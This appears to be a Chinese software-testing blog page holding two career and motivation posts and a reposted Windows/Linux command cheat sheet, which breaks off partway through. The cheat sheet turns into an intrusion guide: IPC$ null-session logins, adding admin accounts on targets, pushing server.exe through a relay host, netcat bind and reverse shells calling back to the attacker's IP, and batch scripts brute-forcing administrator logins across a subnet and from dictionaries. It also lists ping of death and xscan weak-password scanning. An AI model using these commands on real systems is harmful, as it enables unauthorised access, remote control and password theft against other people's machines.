    如何培养测试人员的对测试工作的兴趣呢?不妨把bug比作藏匿在深山丛林中的猎物,把自己比作围猎的将军。程序中的bug变化莫测,要有将军指挥作战的气度,怎样更快更准更有效地定位它们,捕获住它们?围追堵截之中,尽显英雄本色。  

    兵法上说,水因地而制行,兵因敌而制胜。兵无常势,无恒形,能与敌变化而取制者,谓之神。仅仅通过黑盒测试,你就能知道程序员做了什么改动?怎样做的改动?还存在什么缺陷?并快速准确地把它定位出来。若能达到这种境界,让你的思维能力受到如此的锻炼和考验,难道还不会有成就感么?  

    当你全身心地投入在测试中,你会感觉到测试,实际上是一场智力游戏。所谓"气痴者技精",因为一进入状态,坐下来就会忘记时间的流逝。

  • 工作快两年了 没激情了怎么办

    louzhi 发布于 2009-03-14 16:42:06

     

    工作快两年了,两年中大部分是跟着项目在跑,眼袋深了,人老了,人也变老了。有点迷茫,有点郁闷。下面是我老大给我们的一点忠告,记下来,自己好慢慢品尝。

    无论做哪一行,工作一段时间后,都会感觉迷茫。主要的原因在于,在工作一定时间后,对工作方法和技术已经比较熟悉,工作已经不像当年刚入行时,具有新意和创新性,更多的可能是重复繁琐的工作,如果看到同学朋友,有了更好的发展,往往就会感到迷茫和郁闷,往往就怀疑自己当初的选择,甚至自我的感觉就像是被困在一个木桶里,动弹不得的,但是桶里面却又有很多飞虫不断地骚扰,心中虽有鸿心壮志,却总是一无所展。所以,此时此刻,人就会感觉郁闷,迷茫,麻木,感觉一身抱负没得舒展,更加郁闷的是,自己有什么抱负,也搞不清楚。人就是这样一种动物,当看到不光明或者看到不路的尽头的时候,往往就失去了动力。
          这种情况,大体上也不是现在才有的,大体上几千年前就有了,不信,你读读那些唐诗宋词,大多也会体味得到这种感觉。这也就是为什么,你读那些诗词的时候,为什么会有同感的原因了。这种情况,也不是只有你遇到,大体上所有人都遇到。这种情况,也不是你现在没有,以后就不会有,这个跟你当时的需求有关,如果你需要的东西,你一直拿不到,你肯定会感觉痛苦和迷茫,而人的欲望是无穷的,不是你想要什么就能得到什么的,所以郁闷的人自然就不少。
          为什么会有这种现象?其实,无论做什么或者学习什么,到了一程度后,就会遇到发展的瓶颈。就如练武功一样,练的境界越高,遇到的困难就越大,这就是为什么,高手总是极少的,越高的手越少。说回来,我们职业发展,如果你工作一段时间,感觉迷茫和郁闷,一方面说明你有上进心,一方面说明,你不知道如何处理遇到的情况,如何调整自己。我觉得,首先,最重要的是不能遇到瓶颈就轻易选择放弃,或者怀疑自己的选择。换一行后,工作两三年后,会遇到同样的问题的,同样会遇到发展的瓶颈,如果跨不过去,永远会觉得自己前面有道坎。不断的换行,不断地从头开始,只要跨不过那道坎,终究是一无是处的。其次,不要跟别人比,一般情况下,都是你看我好我看你好!因为你不知道别人的难处,只看到人家好的。这样越比较,自己就越痛苦。还要是做好自己,踏实地一步一步前进,机会总是留给有准备的人,所谓十年河东,十年河西,平淡中要做出不平淡的事情来,做好积累。我们需要做好坚持和忍耐。
          再说回我们,我感觉,目前我们大体会有以下几个方面,让我们感觉迷茫和痛苦的。
    第一、测试人员的缺口很大,按道理应该是有发展潜力的。可能为什么我感觉不到?
    第二、做测试两年多了,为什么还在从事简单重复的测试工作?难道我没的进步?
    第三、我的优势在哪里?怎么样才能得到晋升或者加薪,怎么样才能得到别人尊重?
    第四、有没有更轻松又能赚到更多钱或者有更好地位的工作,我做测试是不是亏了?
    第五、同学中或者朋友中,有人已经取得成功,可是我为什么不能像他们那样?
          目前,随着国内企业对软件质量的重视,测试人员的缺口很大。就目前的人员结构来看,是两头小中间大,高层次的测试人才奇缺。目前高层次的测试人员,月薪一万以上,已经不稀奇。所以说,行业的需求是有的,关键是看自己如何提高自己技能。
          前几年,听了一个《成功学》讲座,感觉挺受启发的。一个人想富有,不能光想着钱,只想钱,钱是不会到你口袋的,应该想想,如何能让你成为某方面不可缺少的人,也就是说,要让组织你对有依赖,只有你成为组织中不可替代的人,你的收入自然就会不断地增长,自然你就会得到别人的尊重,因为他 需要你,你能给他们带来利益。当年,我的想法也很简单,在保证完成本职工作的基础上,我想成为性能测试最牛的人。于是我在业余时间,放了大量的精力在上面。通过很多项目的试验和改进,我自认为,这方面,我的水平还是可以的。其实,不断地做项目,对改进和验证我的工作方法和思路起了很大的作用。在每完成一个项目,我便会进行自我的总结,想想怎么样能更好地做好项目。我的做法很简单,每做完一个项目,我便会把OSSP中的过程和一些理论书再看一遍,看完后,你会发现工作中很多的不足,应该是如何做更好。
          还有一点要说的是,尽量自己独立地去负责一个项目。这样便能把自己的想法付之实现,通过不断的实践和改进,就能积累很多做项目的经验和具体的实施办法、还有技术。当然,你需要把你的想法,在实施前跟领导探讨一下。虽然独立负责一个项目,有时候会比较辛苦,但是,往往就是你建立别人对你的信任的时候。如果你做到了,组织对你的依赖度就会越来越高,你就会变得越来越重要,你就能上一个台阶。
         记住:独立地做事,通过实践来验证和改进你的工作,多花时间研究。这些很重要。

         希望各位朋友也能留下你的意见和建议,谢谢!

  • 运行命令大全 (转)

    pcl2004_27 发布于 2008-10-19 21:12:32

    winver---------检查Windows版本
    wmimgmt.msc----打开windows管理体系结构(WMI)
    wupdmgr--------windows更新程序
    wscrīpt--------windows脚本宿主设置
    write----------写字板
    winmsd---------系统信息
    wiaacmgr-------扫描仪和照相机向导
    winchat--------XP自带局域网聊天
    mem.exe--------显示内存使用情况
    Msconfig.exe---系统配置实用程序
    mplayer2-------简易widnows media player
    mspaint--------画图板
    mstsc----------远程桌面连接
    mplayer2-------媒体播放机
    magnify--------放大镜实用程序
    mmc------------打开控制台
    mobsync--------同步命令
    dxdiag---------检查DirectX信息
    drwtsn32------ 系统医生
    devmgmt.msc--- 设备管理器
    dfrg.msc-------磁盘碎片整理程序
    diskmgmt.msc---磁盘管理实用程序
    dcomcnfg-------打开系统组件服务
    ddeshare-------打开DDE共享设置
    dvdplay--------DVD播放器
    net stop messenger-----停止信使服务
    net start messenger----开始信使服务
    notepad--------打开记事本
    nslookup-------网络管理的工具向导
    ntbackup-------系统备份和还原
    narrator-------屏幕“讲述人”
    ntmsmgr.msc----移动存储管理器
    ntmsoprq.msc---移动存储管理员操作请求
    netstat -an----(TC)命令检查接口
    syncapp--------创建一个公文包
    sysedit--------系统配置编辑器
    sigverif-------文件签名验证程序
    sndrec32-------录音机
    shrpubw--------创建共享文件夹
    secpol.msc-----本地安全策略
    syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
    services.msc---本地服务设置
    Sndvol32-------音量控制程序
    sfc.exe--------系统文件检查器
    sfc /scannow---windows文件保护
    tsshutdn-------60秒倒计时关机命令
    tourstart------xp简介(安装完成后出现的漫游xp程序)
    taskmgr--------任务管理器
    eventvwr-------事件查看器
    eudcedit-------造字程序
    explorer-------打开资源管理器
    packager-------对象包装程序
    perfmon.msc----计算机性能监测程序
    progman--------程序管理器
    regedit.exe----注册表
    rsop.msc-------组策略结果集
    regedt32-------注册表编辑器
    rononce -p ----15秒关机
    regsvr32 /u *.dll----停止dll文件运行
    regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符
    chkdsk.exe-----Chkdsk磁盘检查
    certmgr.msc----证书管理实用程序
    calc-----------启动计算器
    charmap--------启动字符映射表
    cliconfg-------SQL SERVER 客户端网络实用程序
    Clipbrd--------剪贴板查看器
    conf-----------启动netmeeting
    compmgmt.msc---计算机管理
    cleanmgr-------^^整理
    ciadv.msc------索引服务程序
    osk------------打开屏幕键盘
    odbcad32-------ODBC数据源管理器
    oobe/msoobe /a----检查XP是否激活
    lusrmgr.msc----本机用户和组
    logoff---------注销命令
    iexpress-------木马捆绑工具,系统自带
    Nslookup-------IP地址侦测器
    fsmgmt.msc-----共享文件夹管理器
    utilman--------辅助工具管理器
    gpedit.msc-----组策略
    regsvr32 /u *.dll----停止dll文件运行
    regsvr32 /u zipfldr.dll------取消ZIP支持
    rundll32.exe shell32.dll,Control_RunDLL ----------显示控制面板
    rundll32.exe shell32.dll,Control_RunDLL
    access.cpl,,1--------显示辅助功能选项
    rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1--打开系统属性
    rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1---删除或添加程序
    rundll32.exe syncui.dll,Briefcase_Create----桌面上建立公文包
    rundll32.exe diskcopy.dll,DiskCopyRunDll----复制软盘驱动器
    rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0--显示时间属性
    rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0----显示桌面墙纸属性
    rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0-----游戏控制器
    rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0---音频属性
    cmd.exe--------CMD命令提示符 chkdsk.exe-----Chkdsk磁盘检查
    certmgr.msc----证书管理实用程序 calc-----------启动计算器
    charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序
    Clipbrd--------剪贴板查看器 conf-----------启动netmeeting
    compmgmt.msc---计算机管理 cleanmgr-------垃圾整理
    ciadv.msc------索引服务程序 osk------------打开屏幕键盘
    odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活
    lusrmgr.msc----本机用户和组 logoff---------注销命令
    iexpress-------木马捆绑工具,系统自带 Nslookup-------IP地址侦测器
    fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器
    net use \\ip\ipc$ " " /user:" " 建立IPC空链接
    net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
    net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
    net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
    net use \\ip\ipc$ /del 删除IPC链接
    net use h: /del 删除映射对方到本地的为H:的映射
    net user 用户名 密码 /add 建立用户
    net user guest /active:yes 激活guest用户
    net user 查看有哪些用户
    net user 帐户名 查看帐户的属性
    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
    net start 查看开启了哪些服务
    net start 服务名 开启服务;(如:net start telnet, net start schedule)
    net stop 服务名 停止某服务
    net time \\目标ip 查看对方时间
    net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
    net view 查看本地局域网内开启了哪些共享
    net view \\ip 查看对方局域网内开启了哪些共享
    net config 显示系统网络设置
    net logoff 断开连接的共享
    net pause 服务名 暂停某服务
    net send ip "文本信息" 向对方发信息
    net ver 局域网内正在使用的网络连接类型和信息
    net share 查看本地开启的共享
    net share ipc$ 开启ipc$共享
    net share ipc$ /del 删除ipc$共享
    net share c$ /del 删除C:共享
    net user guest 12345 用guest用户登陆后用将密码改为12345
    net password 密码 更改系统登陆密码
    netstat -a 查看开启了哪些端口,常用netstat -an
    netstat -n 查看端口的网络连接情况,常用netstat -an
    netstat -v 查看正在进行的工作
    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
    netstat -s 查看正在使用的所有协议使用情况
    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
    tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
    ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
    ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

    #2 二:

    del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
    move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
    at id号 开启已注册的某个计划任务
    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
    at id号 /delete 停止某个已注册的计划任务
    at 查看所有的计划任务
    at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
    finger username @host 查看最近有哪些用户登陆
    telnet ip 端口 远和登陆服务器,默认端口为23
    open ip 连接到IP(属telnet登陆后的命令)
    telnet 在本机上直接键入telnet 将进入本机的telnet
    copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
    copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
    cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
    copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
    xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
    tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
    mem 查看cpu使用情况
    attrib 文件名(目录名) 查看某文件(目录)的属性
    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
    set 指定环境变量名称=要指派给变量的字符 设置环境变量
    set 显示当前所有的环境变量
    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
    pause 暂停批处理程序,并显示出:请按任意键继续....
    if 在批处理程序中执行条件处理(更多说明见if命令及变量)
    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
    call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
    for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
    echo 信息 在屏幕上显示出信息
    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
    find 文件名 查找某文件
    title 标题名字 更改CMD窗口标题名字
    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
    prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

    #3 三:

    ver 在DOS窗口下显示版本信息
    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
    md 目录名 创建目录
    replace 源文件 要替换文件的目录 替换文件
    ren 原文件名 新文件名 重命名文件名
    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
    type 文件名 显示文本文件的内容
    more 文件名 逐屏显示输出文件
    doskey 要锁定的命令=字符
    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
    taskmgr 调出任务管理器
    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
    path 路径\可执行文件的文件名 为可执行文件设置一个路径。
    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
    regedit /e 注册表文件名 导出注册表
    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
    cacls 文件名 查看文件的访问用户权限列表
    REM 文本内容 在批处理文件中添加注解
    netsh 查看或更改本地网络配置情况

    #4 四:

    IIS服务命令:
    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
    iisreset /start或stop 启动(停止)所有Internet服务
    iisreset /restart 停止然后重新启动所有Internet服务
    iisreset /status 显示所有Internet服务状态
    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
    iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
    FTP 命令: (后面有详细说明内容)
    ftp的命令行格式为:
    ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
    -d 使用调试方式。
    -n 限制ftp的自动登录,即不使用.netrc文件。
    -g 取消全局文件名。
    help [命令] 或 ?[命令] 查看命令说明
    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
    pwd 列出当前远端主机目录
    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
    mget [remote-files] 从远端主机接收一批文件至本地主机
    mput local-files 将本地主机中一批文件传送至远端主机
    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
    ascii 设定以ASCII方式传送文件(缺省值)
    bin 或 image 设定以二进制方式传送文件
    bell 每完成一次文件传送,报警提示
    cdup 返回上一级目录
    close 中断与远程服务器的ftp会话(与open对应)
    open host[port] 建立指定ftp服务器连接,可指定连接端口
    delete 删除远端主机中的文件
    mdelete [remote-files] 删除一批文件
    mkdir directory-name 在远端主机中建立目录
    rename [from] [to] 改变远端主机中的文件名
    rmdir directory-name 删除远端主机中的目录
    status 显示当前FTP的状态
    system 显示远端主机系统类型
    user user-name [password] [account] 重新以别的用户名登录远端主机
    open host [port] 重新建立一个新的连接
    prompt 交互提示模式
    macdef 定义宏命令
    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
    chmod 改变远端主机的文件权限
    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
    cd remote-dir 进入远程主机目录
    cdup 进入远程主机目录的父目录
    ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

    #5 五:

    MYSQL 命令:
    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
    (例:mysql -h110.110.110.110 -Uroot -P123456
    注:u与root可以不用加空格,其它也一样)
    exit 退出MYSQL
    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
    grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
    show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
    use mysql;
    show tables; 显示库中的数据表
    describe 表名; 显示数据表的结构
    create database 库名; 建库
    use 库名;
    create table 表名 (字段设定列表); 建表
    drop database 库名;
    drop table 表名; 删库和删表
    delete from 表名; 将表中记录清空
    select * from 表名; 显示表中的记录
    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
    win2003系统下新增命令(实用部份):
    shutdown /参数 关闭或重启本地或远程主机。
    参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
    例:shutdown /r /t 0 立即重启本地主机(无延时)
    taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
    参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
    参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

    #6 六:

    Linux系统下基本命令: 要区分大小写
    uname 显示版本信息(同win2K的 ver)
    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
    pwd 查询当前所在的目录位置
    cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
    cat 文件名 查看文件内容
    cat >abc.txt 往abc.txt文件中写上内容。
    more 文件名 以一页一页的方式显示一个文本文件。
    cp 复制文件
    mv 移动文件
    rm 文件名 删除文件,rm -a 目录名删除目录及子目录
    mkdir 目录名 建立目录
    rmdir 删除子目录,目录内没有文档。
    chmod 设定档案或目录的存取权限
    grep 在档案中查找字符串
    diff 档案文件比较
    find 档案搜寻
    date 现在的日期、时间
    who 查询目前和你使用同一台机器的人以及Login时间地点
    w 查询目前上机者的详细资料
    whoami 查看自己的帐号名称
    groups 查看某人的Group
    passwd 更改密码
    history 查看自己下过的命令
    ps 显示进程状态
    kill 停止某进程
    gcc 黑客通常用它来编译C语言写的文件
    su 权限转换为指定使用者
    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
    ftp ftp连接上某服务器(同win2K)

    附:批处理命令与变量

    1:for命令及变量 基本格式:
    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

    (set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
    command_parameters:为特定命令指定参数或命令行开关

    IN (set):指在(set)中取值;DO command :指执行command

    参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
    用法举例:
    @echo off
    echo 用法格式:test.bat *.*.* > test.txt

    for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

    /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
    @echo off
    echo 用法格式:ok.bat ip
    FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
    存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

    #7 七:

    2:if命令及变量 基本格式:
    IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
    例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
    0 指发现并成功执行(真);1 指没有发现、没执行(假)。
    IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
    例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
    IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
    例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
    IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

    (二)系统外部命令(均需下载相关工具):

    1、瑞士军刀:nc.exe

    参数说明:
    -h 查看帮助信息
    -d 后台模式
    -e prog程序重定向,一但连接就执行〔危险〕
    -i secs延时的间隔
    -l 监听模式,用于入站连接
    -L 监听模式,连接天闭后仍然继续监听,直到CTR+C
    -n IP地址,不能用域名
    -o film记录16进制的传输
    -p[空格]端口 本地端口号
    -r 随机本地及远程端口
    -t 使用Telnet交互方式
    -u UDP模式
    -v 详细输出,用-vv将更详细
    -w数字 timeout延时间隔
    -z 将输入,输出关掉(用于扫锚时)
    基本用法:
    nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
    nc -l -p 80 开启本机的TCP 80端口并监听
    nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
    nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
    nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
    高级用法:
    nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
    nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
    nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
    本机上用:nc -l -p 本机端口
    在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
    nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
    本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
    在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
    备 注:
    | 管道命令
    < 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
    @ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
    >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。
    如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

    #8 八:

    2、扫锚工具:xscan.exe

    基本格式
    xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
    xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
    检测项目
    -active 检测主机是否存活
    -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
    -port 检测常用服务的端口状态
    -ftp 检测FTP弱口令
    -pub 检测FTP服务匿名用户写权限
    -pop3 检测POP3-Server弱口令
    -smtp 检测SMTP-Server漏洞
    -sql 检测SQL-Server弱口令
    -smb 检测NT-Server弱口令
    -iis 检测IIS编码/解码漏洞
    -cgi 检测CGI漏洞
    -nasl 加载Nessus攻击脚本
    -all 检测以上所有项目
    其它选项
